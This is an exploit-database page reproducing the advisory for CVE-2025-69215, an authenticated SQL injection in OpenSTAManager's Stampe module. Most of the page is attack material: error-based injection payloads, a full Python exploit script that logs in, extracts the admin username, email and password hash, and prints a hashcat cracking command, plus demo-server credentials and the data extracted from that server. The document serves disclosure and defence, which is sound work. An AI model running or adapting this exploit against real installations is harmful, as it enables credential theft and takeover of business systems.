Share
## https://sploitus.com/exploit?id=PACKETSTORM:218750
# CVE-2025-69215: OpenSTAManager has an SQL Injection in the Stampe Module
    
    ## Overview
    
    | Field | Details |
    |---|---|
    | **CVE ID** | [CVE-2025-69215](https://nvd.nist.gov/vuln/detail/CVE-2025-69215) |
    | **Severity** | HIGH |
    | **Advisory** | [View Advisory](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q) |
    | **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
    
    ## Affected Products
    
    - **devcode-it/openstamanager** (versions: <= 2.9.8)
    
    
    ## CWE Classification
    
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
    
    ## Details
    
    ## Vulnerability Details
    
    ### Location
    - **File:** `modules/stampe/actions.php`
    - **Line:** 26
    - **Vulnerable Code:**
    ```php
    case 'update':
        if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
            $dbo->query('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));
            // โ†‘ Direct concatenation without prepare() sanitization
        }
    ```
    
    ### Root Cause
    
    The `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.
    
    **Vulnerable Pattern:**
    ```php
    // Line 25: intval() protects predefined, but module is not sanitized!
    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {
        // Line 26: Direct concatenation - VULNERABLE
        $dbo->query('UPDATE ... WHERE `id_module` = '.post('module'));
    }
    ```
    
    ## Exploitation
    ### Vulnerable Endpoint
    ```
    POST /modules/stampe/actions.php
    ```
    
    ### Required Parameters
    ```
    op=update
    id_record=1
    predefined=1 (must be non-zero after intval())
    module=[INJECTION_PAYLOAD]
    title=Test
    filename=test.pdf
    ```
    
    ### Authentication Requirement
    - Requires valid authenticated session (any user with access to Stampe module)
    - **VERIFIED:** Users with "Tecnici" group access can exploit (NOT admin-only!)
    - **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico
    
    ### Exploitation Type
    **Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions
    
    ### Proof of Concept
    
    #### Method 1: EXTRACTVALUE (MySQL 5.1+)
    ```python
    POST /modules/stampe/actions.php
    Content-Type: application/x-www-form-urlencoded
    
    op=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf
    ```
    
    **Result:**
    
    <img width="2208" height="912" alt="image" src="https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34" />
    
    **Extracted Data:** MySQL version `8.3.0`
    
    ---
    
    #### Method 2: GTID_SUBSET (MySQL 5.6+)
    ```python
    module=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)
    ```
    
    **Result:**
    
    <img width="2025" height="903" alt="image" src="https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8" />
    
    
    **Extracted Data:** Database name `openstamanager`
    
    ---
    
    #### Method 3: UPDATEXML (MySQL 5.1+)
    ```python
    module=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)
    ```
    
    **Result:**
    
    <img width="2027" height="897" alt="image" src="https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43" />
    
    **Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`
    
    ---
    
    ### Automated Exploitation
    
    **Full Exploit Script:** `exploit_stampe_sqli.py`
    
    ```python
    #!/usr/bin/env python3
    """
    SQL Injection Exploit - OpenSTAManager modules/stampe/actions.php
    
    Usage:
        python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico
        python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local
    """
    
    import requests
    import re
    import argparse
    import sys
    from html import unescape
    from urllib.parse import urljoin
    
    class StampeSQLiExploit:
        def __init__(self, base_url, username, password, verbose=False):
            self.base_url = base_url.rstrip('/')
            self.username = username
            self.password = password
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
            })
    
        def login(self):
            """Authenticate with username and password"""
            login_url = urljoin(self.base_url, '/index.php')
    
            if self.verbose:
                print(f"[DEBUG] Attempting login to {login_url}")
                print(f"[DEBUG] Username: {self.username}")
    
            # First, get the login page to establish session
            resp = self.session.get(login_url)
            if self.verbose:
                print(f"[DEBUG] Initial GET status: {resp.status_code}")
    
            # Send login credentials with op=login parameter (required!)
            login_data = {
                'username': self.username,
                'password': self.password,
                'op': 'login',  # Required for OpenSTAManager
            }
    
            resp = self.session.post(login_url, data=login_data, allow_redirects=True)
    
            if self.verbose:
                print(f"[DEBUG] Login POST status: {resp.status_code}")
                print(f"[DEBUG] Cookies: {self.session.cookies.get_dict()}")
    
            # Check if login was successful
            if 'PHPSESSID' not in self.session.cookies:
                print("[-] Login failed: No session cookie received")
                return False
    
            # Check if we're redirected to dashboard or still on login page
            if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():
                print("[-] Login failed: Still on login page")
                if self.verbose:
                    print(f"[DEBUG] Current URL: {resp.url}")
                return False
    
            print(f"[+] Successfully logged in as '{self.username}'")
            print(f"[+] Session: {self.session.cookies.get('PHPSESSID')}")
            return True
    
        def inject(self, sql_query):
            """Execute SQL injection payload"""
            # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)
            payload = f"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)"
    
            target_url = urljoin(self.base_url, '/modules/stampe/actions.php')
    
            if self.verbose:
                print(f"[DEBUG] Target: {target_url}")
                print(f"[DEBUG] Payload: {payload}")
    
            response = self.session.post(
                target_url,
                data={
                    "op": "update",
                    "id_record": "1",
                    "predefined": "1",
                    "module": payload,
                    "title": "Test",
                    "filename": "test.pdf"
                }
            )
    
            if self.verbose:
                print(f"[DEBUG] Response status: {response.status_code}")
                print(f"[DEBUG] Response length: {len(response.text)}")
    
            # Unescape HTML entities first
            response_text = unescape(response.text)
    
            # Pattern 1: XPATH syntax error with HTML entities or quotes
            # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;
            xpath_match = re.search(r"XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE)
            if xpath_match:
                result = xpath_match.group(1)
                if self.verbose:
                    print(f"[DEBUG] Extracted via XPATH pattern: {result}")
                return result
    
            # Pattern 2: Look in HTML comments (demo puts errors in comments)
            # <!--...XPATH syntax error: '~data~'...-->
            comment_match = re.search(r"<!--.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?.*?-->", response_text, re.DOTALL | re.IGNORECASE)
            if comment_match:
                result = comment_match.group(1)
                if self.verbose:
                    print(f"[DEBUG] Extracted from HTML comment: {result}")
                return result
    
            # Pattern 3: <code> tags
            codes = re.findall(r'<code>(.*?)</code>', response_text, re.DOTALL)
            for code in codes:
                clean = code.strip()
                if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:
                    match = re.search(r"~([^~]+)~", clean)
                    if match:
                        result = match.group(1)
                        if self.verbose:
                            print(f"[DEBUG] Extracted from <code>: {result}")
                        return result
    
            # Pattern 4: PDOException error format (as shown in user's example)
            # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'
            pdo_match = re.search(r"PDOException:.*?XPATH syntax error:\s*['\"]?~([^~]+)~['\"]?", response_text, re.IGNORECASE | re.DOTALL)
            if pdo_match:
                result = pdo_match.group(1)
                if self.verbose:
                    print(f"[DEBUG] Extracted from PDOException: {result}")
                return result
    
            # Pattern 5: Generic ~...~ markers (last resort)
            markers = re.findall(r'~([^~]{1,100})~', response_text)
            if markers:
                if self.verbose:
                    print(f"[DEBUG] Found generic markers: {markers}")
                # Filter out HTML/CSS junk
                for marker in markers:
                    if marker and len(marker) > 2:
                        # Skip common HTML patterns
                        if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '<', '>']):
                            if self.verbose:
                                print(f"[DEBUG] Using marker: {marker}")
                            return marker
    
            if self.verbose:
                print("[DEBUG] No data extracted from response")
                # Save response for debugging
                with open('/tmp/stampe_response_debug.html', 'w') as f:
                    f.write(response.text)
                print("[DEBUG] Response saved to /tmp/stampe_response_debug.html")
    
            return None
    
        def dump_info(self):
            """Dump database information"""
            queries = [
                ("Database Version", "VERSION()"),
                ("Database Name", "DATABASE()"),
                ("Current User", "USER()"),
                ("Admin Username", "SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Admin Email", "SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Admin Password Hash (1-30)", "SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Admin Password Hash (31-60)", "SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1"),
                ("Total Users", "SELECT COUNT(*) FROM zz_users"),
                ("First Table", "SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1"),
            ]
    
            print("="*70)
            print(" EXPLOITING SQL INJECTION - DATA EXTRACTION")
            print("="*70)
            print()
    
            results = {}
            for desc, query in queries:
                print(f"[*] Extracting: {desc}")
                print(f"    Query: {query}")
                result = self.inject(query)
                if result:
                    print(f"    โœ“ Result: {result}")
                    results[desc] = result
                else:
                    print(f"    โœ— Failed to extract")
                print()
    
            return results
    
    def main():
        parser = argparse.ArgumentParser(
            description='OpenSTAManager Stampe Module SQL Injection Exploit',
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog='''
    Examples:
      # Exploit demo.osmbusiness.it with tecnico user
      python3 %(prog)s -u tecnico -p tecnicotecnico
    
      # Exploit demo with admin credentials
      python3 %(prog)s -u admin -p admin123
    
      # Exploit custom installation with verbose output
      python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v
            '''
        )
    
        parser.add_argument('-u', '--username', required=True,
                            help='Username for authentication')
        parser.add_argument('-p', '--password', required=True,
                            help='Password for authentication')
        parser.add_argument('--url', default='https://demo.osmbusiness.it',
                            help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')
        parser.add_argument('-v', '--verbose', action='store_true',
                            help='Enable verbose output for debugging')
    
        args = parser.parse_args()
    
        print("โ•”" + "="*68 + "โ•—")
        print("โ•‘  SQL Injection Exploit - OpenSTAManager Stampe Module          โ•‘")
        print("โ•‘  CVE-PENDING | Authenticated Error-Based SQLi                 โ•‘")
        print("โ•š" + "="*68 + "โ•")
        print()
        print(f"[*] Target: {args.url}")
        print(f"[*] Username: {args.username}")
        print()
    
        exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)
    
        # Login first
        if not exploit.login():
            print("\n[-] Authentication failed. Cannot proceed with exploitation.")
            print("[!] Please check:")
            print("    1. Are the credentials correct?")
            print("    2. Is the target URL accessible?")
            print("    3. Is the user account active?")
            sys.exit(1)
    
        print()
    
        # Extract data
        results = exploit.dump_info()
    
        # Summary
        print("="*70)
        print(" EXTRACTION SUMMARY")
        print("="*70)
        print()
    
        if results:
            for key, value in results.items():
                print(f"  {key:.<40} {value}")
    
            # If we got admin password hash, combine it
            if "Admin Password Hash (1-30)" in results and "Admin Password Hash (31-60)" in results:
                full_hash = results["Admin Password Hash (1-30)"] + results["Admin Password Hash (31-60)"]
                print()
                print("  " + "="*66)
                print(f"  Full Admin Password Hash: {full_hash}")
                print("  " + "="*66)
                print()
                print("  [!] Crack with hashcat:")
                print(f"      hashcat -m 3200 '{full_hash}' wordlist.txt")
        else:
            print("  โœ— No data extracted")
            if not args.verbose:
                print("\n  [!] Try running with -v flag for debugging information")
    
    if __name__ == "__main__":
        main()
    
    ```
    
    ### Attribution
    Reported by ลukasz Rybak
    
    ## References
    
    - https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q
    - https://nvd.nist.gov/vuln/detail/CVE-2025-69215
    - https://github.com/advisories/GHSA-qx9p-w3vj-q24q
    
    
    ## Disclaimer
    
    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.